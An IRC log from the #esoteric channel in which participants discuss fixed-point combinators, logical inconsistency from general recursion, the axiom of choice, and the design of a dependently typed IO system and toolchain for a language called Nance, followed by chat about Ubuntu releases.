:AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :true < 1269092569 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: you know the y combinator? as in a fixed point combinator doesn't matter which one < 1269092571 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :fix : (a -> a) -> a < 1269092576 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :so fix (1:) = [1,1,1,1,1,1,...] < 1269092583 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :i.e. fix f = f (fix f) < 1269092587 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :right? < 1269092608 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hm < 1269092626 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: oh please tell me you know that < 1269092650 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :just say yes :P < 1269092660 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :it is familiar, but never really used lambda calculus. < 1269092665 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :it's in haskell too < 1269092666 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :fix (1:) = 1 : fix (1:) = 1 : 1 : fix (1:) = ... < 1269092669 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :if it is composition? < 1269092686 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :fact = fix (\me n -> if n == 0 then 1 else me (n-1)) < 1269092705 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :fact = (\me n -> if n == 0 then 1 else me (n-1)) (fix (\me n -> if n == 0 then 1 else me (n-1))) < 1269092705 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ah a quick check on wikipedia reminded me of what it was < 1269092710 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :yeah I read about that before < 1269092711 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ages ago < 1269092714 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :fact = (\me n -> if n == 0 then 1 else me (n-1)) ((\me n -> if n == 0 then 1 else me (n-1)) (fix (\me n -> if n == 0 then 1 else me (n-1)))) < 1269092715 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :etc < 1269092718 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :thus allowing recursion < 1269092720 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: anyway < 1269092722 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :look at the type < 1269092722 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :okay < 1269092725 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :fix : forall a, (a -> a) -> a < 1269092727 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :consider it logically < 1269092731 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :(a -> a) is a tautology < 1269092734 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :so it's saying < 1269092735 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :fix : forall a, a < 1269092738 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :WUT! < 1269092745 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :and indeed using fix we can derive ANYTHING < 1269092747 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :id : a -> a < 1269092747 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :so < 1269092747 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, (a implies a) implies a? for all a? < 1269092751 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :yep < 1269092751 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :fix id : forall a, a < 1269092759 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :wonderful < 1269092762 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :so for all p, p is true, not p is true, ... < 1269092767 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :fix is inconsistency in a bag! < 1269092776 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :...and this, kids, is why you don't allow general recursion < 1269092793 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :id : a -> a <-- that seems sane to me though. id is a no-operation after all < 1269092804 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :wait, not if that is implies < 1269092810 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :of course < 1269092812 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hm < 1269092813 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :a implies a for all a < 1269092816 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :id is true < 1269092823 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :but (a -> a) -> a is not true < 1269092827 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :obviously a implies itself < 1269092833 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :if 2 is prime, then 2 is prime < 1269092838 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :if 2 is not prime, then 2 is not prime < 1269092838 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :etc < 1269092844 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :proof: \x -> x < 1269092852 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :so in fix : (a -> a) -> a < 1269092856 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, but considering the truth table for -> something seems wrong if id: a->a < 1269092857 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :we can ignore (a -> a) as it's already proved < 1269092860 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :so fix : forall a, a < 1269092860 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :if a is false < 1269092866 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: why < 1269092867 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :also < 1269092871 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :-> doesn't have a truth table < 1269092877 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :but even classically A -> A holds... < 1269092880 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :it's an axiom < 1269092884 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, not the classical logic ->? < 1269092899 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :classical -> has a truth table < 1269092902 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, yes < 1269092904 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :but A -> A is still always true < 1269092905 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :that is the one I meant < 1269092908 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, it is < 1269092910 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :it reduces to !(A&!A) < 1269092917 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :which is the law of non-contradiction < 1269092920 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Q.E.D. < 1269092922 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :but a -> b, says basically nothing about b if a is false < 1269092924 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :anyway, so < 1269092927 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :foo : somethingtrue -> a < 1269092929 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :is equivalent to < 1269092930 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :foo : a < 1269092935 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :proof: foo theproofofsomethingtrue < 1269092936 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :so < 1269092938 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, yes < 1269092938 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :fix is equivalent to < 1269092940 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :forall a. a < 1269092945 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :mhm < 1269092950 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :plug in _|_ for a < 1269092952 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :and you get a proof of false < 1269092954 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :tada < 1269092975 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hm indeed < 1269092993 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :plug in reimann-hypothesis for a, and you get a proof of that too < 1269092999 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :plug in ~reimann-hypothesis, and its negation appears! < 1269093007 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :so many THINGS we can achieve with trivialism! < 1269093030 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :heh < 1269093099 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :file extension .na is free. not any more! < 1269093101 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :stolen for nance < 1269093122 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :actually .ne looks nicer to me, so < 1269093205 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hm, while I do like some of the points of total fp, I still quite like non-constructive proofs. what a dilemma this is :/ < 1269093257 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, do you reject or accept proof by induction btw? < 1269093265 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Induction is obviously true. < 1269093277 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Proof: Structural recursion. < 1269093281 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, transfinite induction? < 1269093296 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :yes. < 1269093299 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :provable < 1269093301 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :okay < 1269093335 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Why haven't you asked me about the Axiom of Choice yet? < 1269093382 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, hah < 1269093407 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :How's that funny < 1269093414 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :you can't prove it, that is why it is called axiom. But why are you so eager to be asked about it? < 1269093431 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :(at least you can't prove it from some sets of axioms) < 1269093496 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, also since you accept transfinite induction, doesn't that mean you must accept AoC? < 1269093523 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :at least for uncountable sets < 1269093554 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :(or maybe I'm mixing this up) < 1269093695 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :you are mixing it up < 1269093695 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Anyway, I only accept some of the Axiom of Choice: the part that is provable. < 1269093706 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :http://r6.ca/blog/20050604T143800Z.html < 1269093706 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :right < 1269093714 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :The intensional axiom of choice. But you know what? < 1269093717 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :It doesn't imply well-ordering. < 1269093728 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :It's Axiom of Choice without the weird shit. < 1269093728 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :sets vs. types iirc or such? < 1269093731 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :And it's provable in type theory. < 1269093753 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :putString : (Sigma (w : World m c). pre c) -> (World (m+1) (modify c) -> Sigma (w' : World n c'). (n > (m+1) ? post c')) < 1269093753 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric : where pre c = stdout is open in conditions < 1269093753 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric : modify c = c (I don't think writing to stdout should ever change conditions...) < 1269093753 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric : post c = nothing, we require no postconditions here < 1269093753 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I think. < 1269093763 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :oh wait, forgot the result < 1269093806 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :putString : (Sigma (w : World m c). pre c) -> (World (m+1) (modify c) -> Sigma (w' : World n c'). (n > (m+1) ? post c')) -> Sigma (w' : World n c'). (n > (m+1) ? post c') < 1269093806 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I think < 1269093808 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :oh, I forgot the actual string :D < 1269093880 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :I can't read that, and you know that < 1269093949 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :putString : String -> WorldSatisfying m c stdoutOpen -> (World (m+1) c -> WorldGreater n c' (m+1)) -> World n c < 1269093949 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I think < 1269093956 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: I'm just musing to myself < 1269093993 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: actual usage of this will look something like < 1269093994 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :okay < 1269093995 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :main : IO Unit < 1269093996 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :main = putString "Hello, world!" < 1269094003 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :prolly < 1269094016 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: it's just condition magic so that it's actually impossible for the program to, e.g. write to a closed handle < 1269094029 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :because the writing functions require the conditions of the world you give it to have that file handle to be open < 1269094046 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :and the close function transforms the conditions in the new world the continuation gets so that the handle is closed there < 1269094055 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :mhm < 1269094087 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, it shouldn't be too hard to make it impossible to write to a closed handle in a "normal" language. (Yeah "normal" isn't really the right word, but...) < 1269094098 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I'm talking at typechecking time here. < 1269094099 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Not at runtime. < 1269094107 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :right, that is somewhat harder < 1269094112 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :(AnMaster slowly creeps away, defeated.) < 1269094122 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: Slight misuse of the term somewhat there < 1269094123 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :for runtime, something like ref counting should work < 1269094198 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, well, perhaps. but if you in a "normal" language would require proof that a file handle could not escape a given scope, and then could prove how it is used in said scope it would be possible before runtime there too. no? < 1269094222 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :of course, that doesn't cover all possible situations < 1269094357 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :how can you require a proof in a normal language < 1269094362 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :you can't < 1269094378 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :"Recursion must be easier than recursion. Otherwise recursive programs would never terminate." < 1269094381 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :"QED." < 1269094522 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hehe < 1269094579 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :bbl < 1269094600 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :type IO r = (Sigma (w : World m c). pre c) -> (World (m+n) (change c) -> r -> Sigma (w : World m' c'). (m' > (m+n) /\ post c')) -> World m' c' < 1269094601 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I think. < 1269094654 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :type IO pre change post r = (Sigma (w : World m c). pre c) -> (World (m+n) (change c) -> r -> Sigma (w : World m' c'). (m' > (m+n) /\ post c')) -> World m' c' < 1269094656 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I think. < 1269094661 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :main : IO stdoutOpen id (const ?) Unit < 1269094661 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :main = putString "Hello, world!" < 1269094665 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :That's const T there < 1269094669 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :main : IO stdoutOpen id (const T) Unit < 1269094669 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :main = putString "Hello, world!" < 1269094707 0 :fax!~none@unaffiliated/fax JOIN :#esoteric < 1269094731 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :IO pre change post r -- the type of an IO interaction on a world satisfying pre, which does change to the world's conditions, and results in an r, as long as the world at the end of the hullabaloo satisfies post < 1269094733 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :type IO pre change post r = (Sigma (w : World m c). pre c) -> (World (m+n) (change c) -> r -> Sigma (w : World m' c'). (m' > (m+n) /\ post c')) -> World m' c' < 1269094741 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :oh, I need to paramaterise over n... grr < 1269094745 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I'd rather not though < 1269094756 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :fax: simplify my io system :p < 1269094826 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :SIMPLIFY < 1269094829 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :ENHANCE < 1269094842 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :zoom in on his pocket, what's in that letter? < 1269094845 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :fax: yes. do so < 1269094856 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :GENERALISE < 1269094857 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :type IO a = a < 1269094949 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :I like data IO :: * -> * where Return :: a -> IO a ; (:>>=:) :: IO a -> (a -> IO b) -> IO b ; PutChar :: ... < 1269094966 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :you can just do something like that, except with stronger specifications in the types < 1269095002 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :but that breaks things when you add new IO actions < 1269095005 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :IMO, you should be able to write < 1269095009 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :postulate foo : ... some IO action ... < 1269095013 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :and have everything still work < 1269095099 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :type IO pre change post r = (Sigma (w : World m c). pre c) -> ((Sigma (w' : World m' (change c)). m' > m) -> r -> Sigma (w'' : World m'' c'). (m'' > m' /\ post c')) -> World m' c' < 1269095111 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I guess I don't need to paramaterise on pre/change/post, that can just be part of the types of the actions < 1269095195 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :type IO r = ((Sigma (w : World m c). m > SOMETHING) -> r -> Sigma (w' : World m' c'). (m' > m /\ SOMETHING)) -> World m' c' < 1269095200 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Maybe? < 1269095230 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :I never understood the 'realworld' stuff < 1269095237 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :just seemed inelegant to me < 1269095259 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :well here World is a very abstract thing < 1269095283 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :World m c is a (thing) of sequence number m (we use this to ensure you can't use the same world twice, as you have to do it increasingly), with conditions c < 1269095285 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :conditions are things you can do like < 1269095288 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :isOpen stdout c < 1269095295 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :as in, in the conditions c, is the file handle stdout open? < 1269095302 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :and also transform < 1269095304 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :withClosed stdout c < 1269095321 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :apart from that, it's completely opaque < 1269095335 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :c++ help super primes @_@ < 1269095336 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :immediate need asap : c++ help super primes @_@ < 1269095406 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :hmm, I guess I need postulate data structures < 1269095422 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :postulate IOStruct : Sigma (IO : Set). isIO IO < 1269095433 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :not Set < 1269095439 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :and I need to posulate World instead < 1269095459 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :postulate WorldStruct : Sigma (World : Nat -> Conditions -> Set). isWorld World < 1269095511 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :fax: i mean your IO data structure just doesn't handle things like FFIs and the like < 1269095515 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :or even added IO operations < 1269095532 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :yeah it does < 1269095533 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :fax: besides you need SOME sort of world-like structure, because you need to be able to do pre and post conditions < 1269095535 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :that's what the ... bit was for < 1269095552 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :it's put pre & post conditions in bind < 1269095580 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :so what is bind's type? < 1269095628 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :forget about IO for a moment < 1269095633 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :this works for any monad < 1269095633 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :k < 1269095699 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I'm waiting < 1269095730 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :nevermind, it was wrong < 1269095763 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :lol < 1269095767 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :the problem with < 1269095768 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :type IO r = ((Sigma (w : World m c). m > SOMETHING) -> r -> Sigma (w' : World m' c'). (m' > m /\ SOMETHING)) -> World m' c' < 1269095771 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :is that I can't say SOMETHING < 1269095772 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric ::) < 1269095778 0 :pineapple!unknown@unknown.invalid PRIVMSG #esoteric :heh < 1269096096 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :fax: http://pastie.org/878467.txt?key=babbgfpdokohtn3kjvzdnq < 1269096110 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :this is obviously wrong in some major way because I can't figure out how it isn't wrong < 1269096152 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :but I /think/ it's a totally pure, general, abstract constraint-based IO system < 1269096195 0 :pikhq!unknown@unknown.invalid QUIT :Read error: Connection reset by peer < 1269096208 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :this project - write hello in nance - turns out to be much harder than I ever imagined < 1269096272 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :fax: so how would /you/ do it :) < 1269096284 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :I don't do IO < 1269096321 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :just do pure programming in a monad then write a 10 line C/Haskell thing to drive it < 1269096391 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :nah the whole point of volit is to extract the program from the ... program < 1269096393 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :besides < 1269096396 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :safe io is very important < 1269096409 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :and i think being able to prove things about IOing programs is awesome < 1269096771 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :fax: what was that method you suggested for doing inductive data types? < 1269096781 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :?? < 1269096972 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :fax: you said it yesterday < 1269096981 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :you axiomatise induction or something and then that gives you inductive types < 1269097145 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I wish ais523 was here so I could ask him something. < 1269097202 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :fax: can you define coinductive data types with inductive ones? < 1269097258 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :I don't know < 1269097277 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric ::| < 1269097280 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :u suk < 1269097522 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :nance foo.ne -o foo.prove && prove foo.prove && volit foo.ne -o foo.hs && ghc -O2 --make foo.hs -o foo < 1269097533 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Hmm, I guess nance and volit have to share a library so they can process Nance code. < 1269097540 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Although I could also have /another/ intermediate form: < 1269097604 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :nance foo.ne -o foo.ncr && ncr2prove foo.ncr && prove foo.ncr && volit foo.ncr -o foo.hs && ghc -O2 --make foo.hs -o foo < 1269097622 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :erm < 1269097631 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :nance foo.ne -o foo.ncr && ncr2prove foo.ncr -o foo.prv && prove foo.prv && volit foo.ncr -o foo.hs && ghc -O2 --make foo.hs -o foo < 1269097638 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :So ncr has enough information to distinguish things like Prop and Set easily, while prv is completely core. < 1269097881 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :So then to trust a Nance proof foo.ne, you have to trust that nance compiles it correctly to foo.ncr, then that ncr2prove compiles foo.ncr correctly to foo.prv, then prove checks it correctly. < 1269097898 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :As opposed to: to trust a Nance proof foo.ne, you have to trust that nance compiles it correctly to foo.prv, then that prove checks it correctly. < 1269097905 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Prove checking it correctly is basically certain, so: < 1269097912 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Trust nance & ncr2prv vs trust nance. < 1269098089 0 :pikhq!~pikhq@75-106-100-139.cust.wildblue.net JOIN :#esoteric < 1269098251 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Hi pikhq. < 1269098919 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :pikhq: you there? < 1269099513 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Answer: No < 1269100372 0 :atrapado!unknown@unknown.invalid QUIT :Quit: Ex-Chat < 1269102427 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :woo, I can use unetbootin to boot the ubuntu iso from an ntfs partition i think < 1269103588 0 :ais523!~ais523@unaffiliated/ais523 JOIN :#esoteric < 1269103805 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Hi ais523! < 1269103810 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Have you tried the 10.04 beta? < 1269103823 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :hi and no < 1269103826 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :http://1.2.3.9/bmi/news.softpedia.com/images/extra/LINUX/large/ubuntu10artwork-large_009.jpg ;; the theme is a bit pretty. < 1269103830 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :But it uses Yahoo! by default (?!) < 1269103839 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :and includes some social networking bullshit by default; sigh < 1269103842 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :alise: yahoo paid them more than google < 1269103847 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :but you can change it back easily enough < 1269103862 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :yes, but it exposes canonical a bit for the money-grabbing bastards they are :)) < 1269103883 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I'm downloading 9.10 now just because I'd like some stability. 10.04? Maybe later. < 1269103888 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :When I have more bandwidth, perhaps. < 1269103966 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Now if only they'd fix the subpixel rendering... < 1269104137 0 :alise_!~alise@genld-216-208.t-mobile.co.uk JOIN :#esoteric < 1269104140 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Fuck! Fuck! < 1269104143 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Fucking Chrome! Shit! < 1269104160 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :My 3G connection dropped. Disconnected, reconnected - chrome portrays the ISO as downloaded - no resuming - fuck! < 1269104236 0 :alise!unknown@unknown.invalid QUIT :Ping timeout: 256 seconds < 1269104291 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :ais523: Punch me so I feel better < 1269104297 